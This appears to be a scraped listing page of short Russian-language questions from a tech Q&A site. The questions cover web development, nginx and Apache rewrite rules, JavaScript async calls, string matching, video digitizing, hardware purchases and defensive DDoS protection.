Upd 2. Самыми полезными, с моей точки зрения, оказались советы о правильной метафоре (ключе, антилопе, чём-то простом), в частности, от Tau — но они остались на Линчелке. Советы «пойдите да купите» работают не очень. Два логотипа из приведённых здесь на самом деле приблизительно так и появились.

Дизайн   Логотипы    

389   20   16:22, 6th August, 2020


Интеграция сайта с базой данных 1С:Предприятие 8

Есть небольшой сайт (без движка) и на одну из страниц требуется выводить содержимое базы данных 1С. Может кто-нибудь сталкивался с подобным? С чего начать? Возможно есть документация или то, что может помочь решить эту проблему? Заранее благодарен.



Аудио-книги

Посоветуйте, пожалуйста, хороший ресурс, посвящённый аудио книгам.

Книги   Веб-разработка    

303   4   11:12, 12th August, 2020


не могу найти топик

Топик был о маленьком сервисе, который предоставлял возможность сделать быстро и без регистрации скриншотики сайта на разных подложках-окнах броузеров.

Скриншоты    

331   4   05:07, 24th August, 2020


USB Железка для оцифровки видеосигнала (VHS кассета )?

Гугл дает результаты годов так 2000-2006й надеюсь техника шагнула немного вперед.

Или я такой тормоз и все уже оцифровали домашний видеоархив.


Снимали мы много более 100 часов. Задача оцифровать, а потом уже в цифре все это привести в порядок.


Дешевые ТВ-Тюнеры (попробовал Beholder Wonder и AverMedia) дают крайне плачевный результат. Знаю, что многие перегоняют с помощью DVD проигрывателей с функцией записи — но глубоко убежден, что каждая железка должна своим делом заниматься.


Присматриваюсь к Pinnacle Movie Box — но их достаточно много разновидностей… Хотелось бы железку до 200 условных получить думаю что-то дороже — не имеет смысла, т.к. VHS сигнал сам по себе низкого качества… А профессиональную видео-студию я открывать не собираюсь.

Обработка   видео   Видео    

397   10   06:39, 26th August, 2020


Удобный трединг в Javascript?

Приветствую.


На самом деле, речь не совсем о трединге. Да, в Javascript «чистого» трединга вроде как нету, но есть ещё webworkers, это я знаю, а здесь я хочу поднять вопрос о другом. Для начала я уточню, что конкретно я буду подразумевать под «тредингом».


Типичная задача следующая. Есть некий код (для определённости, врапнутый в функцию myFunc) и я хочу запустить этот код неким вызовом, но при этом не дожидаясь завершения этого вызова перейти к следующей строке кода, откуда я этот вызов совершаю. Обычно эта задача решается примерно таким образом:

setTimeout( myFunc, 10 );
doSomethingElse();



где myFunc() содержит код, который я хочу выполнить «в треде», а doSomethingElse() содержит код, про который я хочу чтобы он начал выполняться, не дожидаясь завершения myFunc(). А если мне нужно вызвать функцию myFunc() как метод объекта — я могу заюзать замыкание и apply(), обернув это в ещё одну анонимную функцию.


Самое загадочное в таком подходе — второй аргумент функции setTimeout(). Почему я сказал ей выполнить код через 10 милисекунд, а не сразу — через 0? Люди пишут (комменты), что setTimeout(fn, 0) часто работает дольше, чем setTimeout(fn, 10). И там же предлагается ещё более быстрый способ «заказать» асинхронное выполнение функции «прямо сейчас», с использованием postMessage.


Я решил немного поэкспериментировать с приведённым там кодом и сделать его чуть более удобным. Идея состоит в том, что прототипу объекта типа Function добавляется новый метод thread(), который запускает эту функцию асинхронно и форвардит ей все аргументы. Получилось примерно так:

(function() {
     var threads = [];
     var messageName = "start-thread";

     function thread(fn) {
         threads.push(fn);
         window.postMessage(messageName, "*");
     }

     function startThread(event) {
         if (event.source == window &&
             event.data == messageName) {
             event.stopPropagation();
             if (threads.length> 0) {
                 ( threads.shift() )();
             }
         }
     }

     window.addEventListener("message", startThread, true);

     Function.prototype.thread = function() {
         var args = arguments;
         var me = this;
         thread(
             function() {
                 me.apply( null, args );
             }
         );
     }

 })();


var doSomething = function(a, b) {
    alert( a + b );
}

// вызываем doSomething() асинхронно:
doSomething.thread( 2, 3 );



В общем, это практически точная копия кода по ссылке, плюс новый метод thread объектам типа Function.


И теперь внимание вопрос. Для того, чтобы метод thread был действительно удобным, нужно иметь возможность использовать его для методов объектов. То есть, каким-то образом в функцию thread нужно «протащить» информацию об объекте, в контексте которого мы обратились к методу. Использование замыкания напрочь испортит всю элегантность. Хочется пользоваться этим методом примерно так:

myObject.myMethod.thread( arg1, arg2 );


и в результате такого вызова метод myMethod должен вызваться асинхронно в контексте объекта myObject, то есть должно произойти

myObject.myMethod.apply( myObject, [ arg1, arg2 ] );



Возможно ли это?

JavaScript   Многопоточность    

395   3   11:50, 18th August, 2020


С помощью чего можно в пару кликов делать красиво обрамленные скриншоты?

Что-то вроде того.
image

Вариант с ФШ\Гимп не рассматривается, так как не всегда есть возможность им воспользоваться. Есть ли плагин к браузеру, либо веб-решение, которое позволяет на выходе получать аккуратные картинке, обрамленные браузером да еще и тенью?

Скриншоты    

441   8   13:51, 5th August, 2020


Библиотека, готовый C++ класс для вывода текста через OpenGL

Может кто встречал на просторах сети готовое решение для вывода текста средствами OpenGL? Пишу на С++ скринсейвер под Gnome, нужно выводить текст.

OpenGL   Разработка   игр    

368   1   14:46, 22nd August, 2020


Клиент постоянно требует консультаций(бесплатных), как быть?

Сначала на этапе разработки сайта клиент постоянно мучал вопросами о сайте, о движке, о хостинге. Причём явно было видно что ему эти ответы нужны просто так, для интереса. Человек совершенно в этом всём не разбирается. Теперь когда настало время поисковой оптимизации клиент вообще залез на шею с вопросами «а почему так, а почему не так, объясните мне что вы делаете, зачем вы это делаете, как вы это делаете...». При попытке отказать в ответе получаешь кучу криков вида «Я ваш клиент, я деньги плачу! Я хочу знать что происходит с моим сайтом!». Сейчас на все эти разговоры тратится около 2х — 3х часов в день. Естественно, за это время никто и не думает ничего платить. Вот мне интересно, уважаемое хабрасообщество, как вы реагируете на такие случаи?

Организация   работы   Client   side   optimization    

339   10   00:45, 7th August, 2020


Оптимизация формы выдачи новостей, повредит или поможет сайту?

Сейчас на сайте около 300 новостных статей, собранных за несколько лет работы сайта.

Новости выводятся как www.mysite.com/news.php?id=299

Хочу сделать по-уму: www.mysite.com/news/my-mega-novost.htm

Технически я знаю как это сделать, вопрос не в том.


Хотелось бы узнать вот что:

1) Не повредит ли сайту такая рокировка с точки зрения поисковиков? Насколько я понимаю, сейчас все мои 300 статей проиндексированы как ?id=xxx.

2) У меня будут работать оба метода вызова статьи. Получается дублирование контента, что по идее тоже плохо…

Как в данной ситуации поступить грамотно? Читал про какую-то ошибку 303, но ничего не понял.



Анализ излучения?

Есть источник излучения, диапазон — либо ИК, либо УФ (неизвестно). Как определить длину волны и, опционально, мощность излучения и исследовать его амплитудно-временнЫе параметры? Интересует минимальное по стоимости решение. Заранее спасибо.

P.S. Если вышеперечисленные задачи трудноразрешимы, другой вопрос — каким образом, опять же, дешевле всего получить возможность воспроизводить этот сигнал?

Обработка   сигналов    

319   1   22:58, 6th August, 2020


Где продают сайты?

Есть пара интернет-проектов, один с подтверждаемым доходом в 100к рублей в месяц, другой 150к, где можно предложить продажу данных бизнесов?



Настройка nginx для отдачи популярных файлов с SSD

Друзья, ломаю голову над несколько не тривиальной задачей.
Суть: есть файлообменник. Storage-серверы укомплектованы SSD-дисками. Есть план складывать на SSD часто запрашиваемые файлы и отдавать их с них. Подсчетом популярности файлов, копированием и удалением уже не популярных (размеры SSD, увы, ограничены) будет заниматься скрипт в автоматическом режиме.

Проблема — если скрипт сработал и удалил файл в момент того, когда его кто-то скачивает, соединение оборвется с ошибкой.

Наведите на мысль, как реализовать механизм временных локов активных файлов на удаление, либо, может быть, есть какой-то магический способ заставить nginx искать файл в другом location'е (с HDD) при его исчезновении из текущего места? Последнее, конечно, звучит больше как сказка, но мало ли…

Nginx   Твердотельные   накопители   Обмен   файлами    

410   5   08:27, 11th August, 2020


Посоветуйте литературу по обеспечению наибольшего удобства и функционала web-сервиса

Мне интересна актуальная на данный момент и наиболее полная информация о создании качественного интернет-проекта. Требуется материал раскрывающий следующие вопросы:

1) на какие вещи надо обратить особое внимание при проектировании того или иного сайта;
2) как понять, где золотая середина между простотой для понимания и функциональностью сайта;
3) что из себя представляет действительно качественный и удобный сервис (четкое и понятное описание);
4) как понять что нужно пользователю для его нужд;
5) как разъяснить пользователям, что та или иная функция реально полезна и необходима для них;
6) как организовать такую концепцию и стратегию развития сайта, чтобы пользователям хотелось вновь и вновь возвращаться на сайт и тому подобные вопросы.

Интересен любой формат материала (книги, статьи, ссылки на сайты, аудио- и видео- касты, презентации и так далее ).



Посоветуйте зеркалку, пожалуйста

Есть 50т.р., хочется зеркалку.

Тушку + оптику отдельно. Только canon. Был 1000d, я из него вырос. Есть оптика портретник canon 50 1.8.
Вспышку не надо, только тушка и оптика.

Фотать буду портрет, пейзаж, просто фотки обычные, постановочные. Никакого спорта, репортажей и т.д.

Canon   Фотографии   Фотоаппараты    

316   11   19:12, 4th August, 2020


Алгоритм сравнения текстовых строк?

Посоветуйте алгоритм сравнения строк с принципом работы вроде:


'Иван Иваныч Иванов' = 'Иванов Иван Иваныч'

'Иван Иваныч' ~ 'Иванов Иваныч'

'Иван Иваныч Иванов с утра ходит без штанов' != 'Иванов Иван Иваныч одевает штаны на ночь'


То есть, нужно найти коэффициент похожести строк, с учетом того, что слова в строке могут быть поменяны местами.

UPD: Кажется придумал:

a — массив слов первой строки

b — массив слов второй строки


n — количество слов первой строки

m — количество слов второй строки


Сij — коэффициент похожести слов a[i] и b[j] (можно использовать soundex или Levenshtein distance)


K = (С11 + С12 +… + С1m + C21 + C22 +… + C2m +… + Cnm) / ((n + m) / 2)


Итого для примера, пусть Cij считается как a[i] == b[j] ? 1 : 0


a = ['Иван', 'Иваныч', 'Иванов']

b = ['Иванов', 'Иван', 'Иваныч']


K = (0 + 1 + 0 + 0 + 0 + 1 + 1 + 0 + 0) / ((3 + 3) / 2) = 3 / 3 = 1 — строки одинаковы


a = ['Иван', 'Иваныч']

b = ['Иванов', 'Иваныч']


K = (0 + 0 + 0 + 1) / ((2 + 2) / 2) = 1 / 2 = 0.5 — похожи, но не равны


Вроде логично.


Спасибо hamMElion, что напомнил разбить строки на слова %)

Алгоритмы   Обработка   текста    

333   6   10:57, 4th August, 2020


Есть ли готовые решения для построения дерева зависимостей между файлами?

Хотелось бы получить(json,ini, ассоциативный массив,xml- как угодно) дерево включения файлов(что-то вроде этого).

Задача может быть решена тремя путями:
  • 1. перегрузкой стандартных конструкций
  • 2. какими-то магическими параметрами в отладчике(xdebug торт, но полную информацию о зависимостях между файлами не даёт)
  • 3. grep-ом и созданием альтернатив(вроде ov_include и ловля источника через debug_backtrace)
  • 4. с помощью силы воли и глаз пройтись по всем файлам


Первый вариант требует вмешательство в интерпретатор и трудозатраты на актуализацию патча под новые версии php.
Второй мне неизвестен. На всякий случай, конфиг Xdebug:

zend_extension_ts="D:\PHP\ext\php_xdebug.dll"
xdebug.profiler_enable = 1
xdebug.profiler_output_dir = "D:\server\profiling\"
xdebug.trace_output_name = %t.%s.%H
xdebug.collect_params 1
xdebug.collect_return 1
xdebug.collect_vars 1
xdebug.default_enable 1
xdebug.show_mem_delta 1
php_flag xdebug.auto_trace 1
xdebug.trace_format 1


Третий классный и наверное самый простой, но с точки зрения производительности суровый(создали static списковый массив внутри функции, который проверяет не пытаемся ли мы зациклиться или включить уже имеющийся файл, обработать backtrace, записать результаты) когда много файлов.
Четвёртый для больших проектов не подойдет.

Зачем.
Сейчас джуниоров набираю, а документация для движка готова лишь на треть. Хочется на плоттере распечатать схему работы каждой страницы, чтобы ребятам не пришлось угадывать откуда и что.

PHP   Инфографика   Отладка    

370   4   18:17, 17th August, 2020


Свободные системы для организации электронного документооборота?

С какими СЭД вы имели дела и каковы ваши впечатления. Есть необходимость внедрить такую систему в организацию медицинского характера.
  • Мой взгляд пока пал на OpenERP написано на питоне, база данных PostreSQL
  • В ответах советовали Plazma ERP, написано на яве, база данных любая SQL
  • И также Feng Office, полностью Web, клиент на ExtJS


все системы кроссплатформены.

Документооборот    

348   2   13:07, 25th August, 2020


Защита от DDOS атак?

Вопрос пришёл после прочтения топика: 100+ Гбит/с DDoS.


На данный момент этот вопрос является актуальным в виду довольно несложного создания сети ддос ботов, но этот момент давайте оставим, интересен именно вопрос защиты от данных видов атак, как в программной так и аппаратной реализации, классификация ddos атак и повторюс способы защиты\отражения атак.

И один из интересующих вопросов: способы поиска ботовода для выхода на заказчика *не берём во внимание угон ботов* и какова ответственность может грозить ему в рамках законодательства РФ.

Защита   от   DDoS    

954   7   23:56, 27th August, 2020


Придать нормальный вид форме?

adeaba164d8221182a5031cfb611857a.png

Есть форма на сайте. Что сделать визуально, чтобы придать ей нормальный вид?

Веб-разработка    

260   4   17:33, 18th August, 2020


Сглаживание шрифтов с помощью css?

Можно ли как-то сглаживание шрифтов сделать на сайте средствами css, например? Или ещё чем-то?

CSS   Шрифты   Веб-разработка    

352   7   02:17, 24th August, 2020


Сайт стока фотографий

На хабре за последний год-полтора как минимум проскальзывало 2-3 стартапа посвященные стокам фотографий.

Не могли бы подсказать их адреса?

Спасибо!

Фотографии    

233   3   04:28, 13th August, 2020


On-line сервис планирования мероприятий

Подскажите, а есть ли что-то похожее на doodle.com, или он самый функциональный?

Веб-разработка    

320   3   05:34, 5th August, 2020


Какие есть бесплатные системы организации видеоконференции/вебинара по локальной сети?

Существуют ли OpenSource системы для организации видеоконференций/вебинаров по локальной сети?


Которые можно поднять на собственных серверах. Возможности нужны минимальные — создать группу/конференцию, добавить людей, через гарнитуру идет обмен информацией между всеми участниками группы, один из участников — ведущий управляет показом своего рабочего стола для всех.


Пока встречал только платные системы и базирующиеся на SaaP. Т.е. без возможности поднять у себя — только абонентская плата на количество комнат и людей.


Нужно для некоммерческого использования.


ps: Рассмотрю платные варианты, которые не требуют абонентскую плату и подключение к интернет (поднять локально у себя в сети).


И еще вопрос: если разрабатывать такую систему самому «на коленке», в какую сторону идти? Adobe Flex + Adobe Flash Player?

Компьютерные   сети   Видеотрансляция    

364   9   16:41, 16th August, 2020


Есть ли програмные продукты для организации/индексации/поиска доков в smb шаре?

Собственно как лучше искать доки на расшаренном ресурсе?

может яндекс.сервер?

или есть что более интереснее

Sphinx   Документооборот   Samba    

372   3   16:32, 28th August, 2020


Где "обитают" Iphone Developerы?

Потребовалось заказать разработку приложения по Iphone, а где найти разработчика не пойму.
На фриланс не посылать

iPhone   Веб-разработка    

245   4   22:15, 9th August, 2020


Организация техпроцесса по разработке сайта (контроль версий, тестирование, обновление на сервере)

Как грамотно организовать разработку сайта несколькими разработчиками и прохождение по цепочке Development -> Testing -> Stage -> Production. А именно:

1. Организация репозитория и рабочих мест
2. Автоматизированная «заливка» новой версии на сервера (тестовый, рабочий) — обновление изменившихся файлов, удаление более ненужных, ..., автоматизированное обновление структуры БД
3.?

Прошу помочь советом или ссылками.



Зарубежные сайты по веб-разработке

Товарищи, а какие зарубежные сайты по веб-разработке вы читаете?



Где найти программиста?

Никогда бы не подумал, что найти php-программиста в Москве настолько трудно.

В поисках испробовали: вакансии на хабре, HeadHunter, рекламу (баннеры) на тематических площадках. Результата никакого, на вакансию откликаются только единицы.

Так где можно найти толкового программиста за 50 000/мес или сейчас в Москве это невозможно? Ну может кризис прошел и всё такое…

Веб-разработка    

334   18   01:48, 16th August, 2020


Счетчик строк stdout в реальном времени?

Есть скрипт, который что-то делает и в stdout выплевывает строчки. (например tail -f /var/log/messages).

Мне содержимого этого stdout не нужно, но нужно в реальном времени смотреть сколько строчек было выплюнуто в stdout.


Есть такие утилиты или скрипты? а то так не хочется самостоятельно велосипед писать.

UPD. решенно силами awk и символа возврата каретки
tailf /some/file.log | awk 'BEGIN {C=0} ; {printf "\r"C++" "}'

UPD2 hacked до использования встроенных переменных:
tailf /some/file.log | awk '{printf "\r"NR}'

Linux   Стандартные   потоки    

414   3   02:42, 17th August, 2020


Поддерживает ли HTML 5 (iPad) потоковое видео?

Специалисты по веб-стандартам, подскажите пожалуйста, есть ли возможность запустить потоковое видео на iPad?

Как я понимаю, всё сводится к формату H.264. Стримится ли он?

HTML   Видео   iPad   Видеотрансляция    

395   2   07:26, 3rd August, 2020


Где живут крутые программисты в сети?

Итак, меня интересуют иностранные программерские тусовки, списки рассылок, форумы, блоги. Ведь авторы питона, руби, пэхапэ, сишарпа, джейквери и нод.жсов где-то общаются и обсуждают. Было бы здорово их почитать.

Вот, например, Eric Lippert, C#
Miguel De Icaza, разработчик Mono, был мной замечен на StackOverflow
А ещё кого знаете?

Веб-разработка    

284   11   07:20, 3rd August, 2020


Фотомыльница с GPS-чипом

Посоветуйте, плиз, какую-нибудь фотокамеру до 200 у.е (если есть) c GPS-чипом, чтобы к фотографии были привязаны координаты места, где она сделана.

Спутниковая   навигация   Фотоаппараты    

350   4   10:02, 15th August, 2020


Как правильно настроить mod_rewrite?

Суть понятна: нужно привести все запросы к сайту вида /path/to/file.html в файл index.php с соответствующими GET-параметрами. В сети видел несколько вариантов решения, но не уверен, что использую правильный (например, не получается посмотреть карту кликов яндекс метрики из-за её гет-параметров)


Вот, что я использую:

RewriteRule ^([^/]*)\.html$ /index.php?query=$1 [L]

RewriteRule ^([^/]*)/([^/]*)\.html$ /index.php?query=$1&id=$2 [L]

RewriteRule ^([^/]*)/([^/]*)/([^/]*)\.html$ /index.php?query=$1&id=$2microid=$3 [L]


Как сделать лучше?

Apache   Книги   Яндекс   htaccess   Веб-разработка    

365   1   15:45, 29th August, 2020


Простейшая защита от DDOS на PHP?

Можно ли организовать простейшую защиту от DDOS не на уровне конфигурации сервера, а на уровне кода PHP? Может кто-то использует готовые решения, тогда поделитесь ссылочками, пожалуйста.

PHP   Защита   от   DDoS    

343   9   19:44, 24th August, 2020


Сколько стоит создать сайт эл библиотеки?

Прошу не судить меня строго, и рейтинг сильно не понижать за такой вопрос, который действительно меня мучает.

Сайт будет на CMS Друпал, нужно его приспособить под нужы и настроить.

Веб-разработка    

416   10   04:01, 21st August, 2020


Запись с веб-камеры на сайте, возможно ли?

Нужен такой функционал. Заходим на сайт, нажимаем кнопочку «Rec» начинается запись с веб-камеры. Затем это сохраняется на сервере. Что-то вроде видео-почты.

Вопрос #1: Возможно ли такое вообще реализовать в рамках веба?
Вопрос #2: Если возможно, то какие инструменты, технологии, фреймворки, библиотеки и т.п. можно заюзать?

Веб-разработка    

321   4   18:04, 9th August, 2020


Автоматическая окантовка 1px кучи изображений (РЕШЕНО)

Дано: куча картинок разного размера (png, jpeg) и Windows 7

Нужно: получить на выходе кучу картинок разного размера с ровной окантовкой в 1 пиксель заданного мной цвета.

Как это сделать без фотошопа? А лучше вообще командной строкой.

РЕШЕНИЕ:
тут качать: www.irfanview.com/
тут изучать как пользоваться: www.makeuseof.com/tag/3-easy-ways-to-add-borders-to-your-photos/
(смотрим третий пункт — программа IrfanView)

Большое всем спасибо.

Обработка   изображений    

361   7   18:55, 23rd August, 2020


Как выполнить действие в случае, если микрофон зарегистрировал определённый звук

Существует ли программа, которая позволяет захватывать звуковой поток с микрофона, анализировать его и запускать какое-нибудь действие (программу) в случае, если звук подходит под какие-то условия. Например, звук был громче определённой границы или был звук в определённых частотах.

Буду очень благодарен за ответ.



Многопоточные приложения на C++ под Linux?

Собственно говоря, есть интерес и подвернулись лабораторные работы, но самостоятельно не смог найти книг хорошо раскрывающих тему.

Я думаю что тут есть достаточно подкованные в этом вопросе люди. Прошу помочь подобрать список литературы.

C++   Многопоточность    

378   3   07:15, 4th August, 2020


аналог target-densitydpi=device-dpi для iPhone 4

У андроида есть чудный мета-таг для viewport, который выключает масштабирование для дисплеев с высоким разрешением.

Есть ли что-либо подобное для айфонов с Retina Display? Я знаю, что можно подключать альтернативные стили используя media query, но при этом в Javascript screen.width & screen.height всё равно возвращают масштабированные значения.



Audacity в упор не видит библиотеку lame_enc.dll "Библиотека экспорта в mp3 не может быть открыта"?

Столкнулся с тем, что на некоторых компьютерах в организации с ОС Windows XP SP3 Аudacity отказывается кодировать в mp3.


Пробовал версии Audacity 1.2.6 и Audacity 1.3.12. Плагин Lame_v3.98.2_for_Audacity_on_Windows.exe установлен. Библиотека указана. Все равно выдает ошибку. Нагуглить решение не удалось.


О'Сознание Хабра, помогай!

LAME   MP3   Обработка   звука    

424   0   04:02, 14th August, 2020


Блокировка доступа к Online играм?

Привет всем, подскажите, каким софтом можно заблокировать доступ к максимальному колличеству онлайн игр? ( типа GTA SAMP, Wow итд).

Всё это добро должно быть под windows. Спасибо.

Разработка   игр    

398   16   02:55, 24th August, 2020


Освоить язык веб-программирования?

Привет всем


Очень хочу научиться программировать для веб, писать свои скрипты, модифицировать движки. Честно говоря, по специальности я далек от компьютеров, но с компьютером, в принципе, на «ты», увлекаюсь css-версткой и дизайном. Очень не хватает знаний для программирования собственных модификаций.


Пару раз пытался читать учебники по PHP, но каждый раз натыкался на моменты, которые из-за своей непонятливости убивали во мне желание продолжать. Может склад ума не тот?!


Есть php, еще я знаю, программирует на perl-е, какие еще языки можно попытаться освоить для веб-программирования? Насколько это сложно? Нужны ли знания MySQL? Или лучше стоить начать с Javascript? Я просто не знаю, с чего начинать… как не возьмусь за что то, столько информации — теряешься, глаза разбегаются и опускаются руки… Программировать хочу научиться просто для себя.

Цель: программирование веб-скриптов, создание эффектов (я так понимаю, для освоение фреймворков типа jQuery, нужно знание JS?)


Просто говорят, что ПХП самый простой для изучения язык...)

IT-образование   Веб-разработка    

341   9   18:33, 11th August, 2020


Быстрый хостинг для изображений?

Продскажите, пожайлуста, максимально дешёвый, но быстрый хостинг для 3х картинок суммарным объёмом 10Кб. В месяц 25М хитов суммарно.

Фотохостинги    

263   3   08:19, 21st August, 2020


Биометрические датчики нервных импульсов?

Видел как-то такое видео: сидит человек в шлеме, подключенном к компьютеру, на экране которого отображается его мозговая активность. К этому же компьютеру подключена машинка, которая управляется нервными импульсами человека.


Так вот появилось у меня желание собрать такую же штуку. Самым сложным здесь является передача нервных импульсов к компьютеру. Какие могут понадобиться компоненты и где прочитать об этом.


P.S. В идеале хорошо бы научить компьютер при движении моей руку двигать нарисованной на экране моделью руки.

Робототехника    

256   1   11:21, 17th August, 2020


Русские символы в адресе(site.ru/статья.html) — возможные проблемы?

Для нового проекта вот думаю, может попробовать использовать адреса вида site.ru/статья.html, но не могу найти — какие это проблемы может создать и вообще стоит ли так делать?

Веб-разработка    

277   0   02:36, 18th August, 2020


Возможна ли монетизация такого проекта?

Достаточно давно и «для души» веду сайт посвященный играм в одной игровой вселенной (патчи, моды, аддоны, новости). Дизайн делал сам, для движка использовал Drupal, бесплатный домен и так далее, в общем никаких планов на коммерческую составляющую сайта никогда не имел.

Сайт реально предоставляет тот контент, который декларирует (т.е. это ни разу не дорвей), благодаря переводам и рерайтам уникальность материала более 70%, сайт очень хорошо видится и выдается в ПС по запросам, связанным с его тематикой.

В последнее время (после выхода следующей части игры из серии), посещаемость сайта резко возросла (раньше было около 600/1400 уникальных/всего посетителей, сейчас более 2000/9000).

Хочется иметь с этого хоть какую-то выгоду, при чем легальную (т.е. iframe, партренки и поп-андеры вешать не намерен). Ради интереса внедрил Google AdSense и Sape. По гуглу практически никто не кликает, Sape дает постоянную но крайне мизерную прибыль.

Возможно ли найти целевых рекламодателей, или иным способом «монетизировать» проект?

Монетизация   Веб-разработка    

284   4   15:21, 29th August, 2020


Как написать юзерский url? (с поддоменом или без)?

В процессе работы над небольшим социальным сайтом столкнулся с проблемой. Не могу определиться с окончательным выбором юзерского урла по-дефолту — то ли <u>site.name/username</u>, то ли <u>username.site.name</u>


В зависимости от каких условий следует принимать решение в пользу того или иного варианта?

В настоящий момент сайт работает с обоими вариантами, но наверное, следует определиться, и сделать дефолтным какой-то один, и именно его далее продвигать. Буду благодарен за любые мысли/советы на сей счет.


P.S. Возможно, мне следует сказать, что у домена зона именно ".name" — и это может влиять на удобочитаемость урла (до зоны, или перед ней пишется имя юзера)

Веб-разработка    

236   6   11:20, 13th August, 2020


Сколько стоит разработка сайта — визитки небольшой организации у крупной студии в Вашем регионе?

Вопрос возник из чистого любопытства. Предположим, около 20-ти страниц, без логотипа, не флеш.



Многопоточное программирование?

Где бы почитать про эту вещь в хорошем теоретическом аспекте, где были бы освещены паттерны, примеры, проблемы, хитрости и тому подобное?

Желательно в применении к Python, но это не столь важно, куда важнее получить базис.

А то пытаюсь реализовать некоторые вещи, а понимаю, что не знаю основ проектирования многопоточных приложений и создается ощущение, что клею обои через замочную скважину.

Python   Многопоточность    

348   3   10:23, 23rd August, 2020


Литература по OpenGL?

Доброй ночи, %habraname%

Нужна срочная помощь.

Пишу приложение под Android, нужна толковая литература по OpenGL, желательно в формате PDF.

Контакты и почта тут, в долгу не останусь.

Android   OpenGL   Разработка   игр    

378   2   05:48, 28th August, 2020


Система управления документами/данными? Или где хранить документы?

Исходные данные:

Тематика: разработка ПО.

Имеются продукт-менеджеры (далее ПМ). Каждый ПМ отвечает за определенное количество продуктов. За каждый продукт отвечает только один ПМ.

Каждый продукт имеет определенное количество информации: прототип (html, pdf, что угодно еще), спецификация (doc, pdf), диаграммы (visio, powerdesigner, и т.п.), инструкции по установке (ppt, pdf, doc), по использованию (ppt, pdf, doc).

Проблема:

Сейчас вся информация по каждому продукту лежит где попало. Нет единого места, где все это хранится и используется. Что-то лежит на локальных компьютерах, что-то на сервере, чего-то вообще уже нет.

Требование к решению:

Нужен способ структурировать информацию таким образом, чтобы можно было отслеживать все изменения, и не было лишнего мусора.

Изменяет документацию только один ПМ, читают все.

Пробовали делать просто проектные папки, но они забиваются всяким мусором, старыми/временными версиями, лишней информацией. И в итоге нужную информацию не найти.

Вся информация должна храниться только на локальных серверах.

Решение должно позволить ПМ-ам продолжать редактировать информацию в любимых редакторах. Решение — скорее идеология, нежели какой-то инструмент.


Кто может что посоветовать?

Документация   Документооборот    

299   5   21:06, 1st October, 2020


"Резиновость" элементов js

Есть ли способ определить, что размер какого-либо элемента страницы задан в %? в DOM как я понимаю, хранятся уже вычисленные значения, автоматически пересчитываемые при ресайзе.

Можно поставить вопрос иначе: можно ли каким либо образом изменять такие автоматически вычисленные размеры без потери «резиновости»?

JavaScript   jQuery   HTML   Веб-разработка    

349   3   00:22, 7th August, 2020


Создание 3D модели объекта (фото)

Подскажите пожалуйста, чем можно создать псевдо-3D картинку из серии фотографий, сделанных путем вращения камеры вокруг объекта (именно так, не объекта вокруг камеры)?

3D   Фотографии    

396   1   18:45, 21st August, 2020


Torrent Streaming?

Есть ли какие-нибудь существующие решения для организации потокового воспроизведения видео посредством торрентов? Что-то наподобие www.bitlet.org, только рабочее (там оно находится в тестовом режиме и, мягко говоря, не работает) и работающее без использования виртуальной java-машины.

Или хотя бы информация о том, как подобную вещь реализовать.

BitTorrent   Видеотрансляция    

387   2   11:26, 6th August, 2020


Какс сделать ICQ-бот с распределением собщений?

Ребят, добрый вечер. Нужно создать (или взять готовый) icq-бот и заставить работать по такому алгоритму. Пользователь стучит в UIN, выдается авто-ответ, после подтверждения запроса (например отправил 1), то разговор передается одному из свободных UIN (в нашем случае менеджеров), как данное реализовать?

Боты   Мессенджеры    

314   3   19:41, 22nd August, 2020


Организация p2p видео во Flash?

Добрый день.

Расскажите, пожалуйста, как организовано p2p видео во флеше? Точнее интересуют такие вопросы:

1. Как пробивается NAT?

2. Как я понял, для организации такой работы нужен сервер, поддерживающий RTMFP протокол. Какие продукты эту технологию поддерживают? Сколько они стоят?

3. Как я понял, есть некий Stratus — бесплатный сервер, поддерживающий этот протокол. Насколько он стабилен? Какие ограничения существуют при работе с ним?

Видеотрансляция   Adobe   Flash    

314   4   13:01, 16th August, 2020


Адаптация RewriteRule под nginx для движка SocialEngine

Друзья, помогите. Пытаюсь запустить SocialEngine напрямую под nginx/php-fpm, без Apache. На вид три простых RewriteRule, но сижу уже второй час безуспешно туплю.

Вот, что в оригинале:

RewriteCond %{REQUEST_URI} /index\.php
RewriteRule (.*) index.php?rewrite=2 [L,QSA]

RewriteCond %{REQUEST_URI} /$
RewriteRule (.*) index.php?rewrite=1 [L,QSA]

RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ index.php?rewrite=1 [L,QSA]


Как это будет в конфиге nginx?
Больше всего вопросов вызывает ранее не знакомый мне флаг QSA. Чувствую, подвох где-то в нем.

Nginx   Обработка   URL    

348   2   03:28, 10th August, 2020


Имена классов и функций?

Все рано или поздно сталкиваются с проблемой как назвать тот или иной метод, функцию, класс. Разумеется, понятно, что это название должно отражать действие за которое отвечает функционал, но существуют ситуации когда очень сложно подобрать нужный вариант, например: load, fetch, get или pull. Термины различные, но при этом очень похожи между собой.

Мне для этих целей во многом помогает словарь синонимов английского языка, названия паттернов и опыт в изучении чужих библиотек, но иногда этого не достаточно и приходится долго обмозговывать название, хотя это время можно было бы потратить с большей пользой. Например писать код.



Может быть есть какой-нибудь словарь часто используемых терминов/имен для того что бы облегчить задачу поиска? Такой добротный, разбитый по категориям словарик?

Веб-разработка    

387   4   21:15, 13th August, 2020


Востановление фотографий из Aperture (после очистки обеих корзин)

Умудрился удалить 1350 фотографий в корзину Aperture, после чего очистил её.
После чего очистил корзину Mac OS X.

Только после этого включился мозг, и я решил проверить сделал ли я экспорт всех этих фотографий корректно.
Выяснилось — ничего подобного я не сделал. Бекапа конечно нет.

Диагноз — временная потеря логики и идиотизм крайней степени.
Прошу помощи и совета как восстановить фотографии.
Попробовал Data Rescue 3 — очень много файлов из кеша Chrome, некоторые фотографии повреждены — результат работы готов назвать неудовлетворительным.

Какие существуют ещё решения или альтернитивы? Macbook не перезагружал. MacOS 10.6.4, Aperture 3.1.

Спасибо за помощь и советы заранее.

macOS   Фотографии   Восстановление   данных    

344   1   12:12, 21st August, 2020


Архитектурный вопрос: мультиязычный сайт?

Всем добрый день.

Возник вопрос по поводу создания мультиязычного сайта.

На сайте будут различные новости, статьи и тп разделы при этом нет гарантии, что статью из русской версии будут переводить на английский язык.

Открываться будет через подпапку domen.ru/(en/ru)/

Как лучше реализовать базу и администрирование контента?



Нужно ли создавать юр. лицо при разработке мобильных приложений?

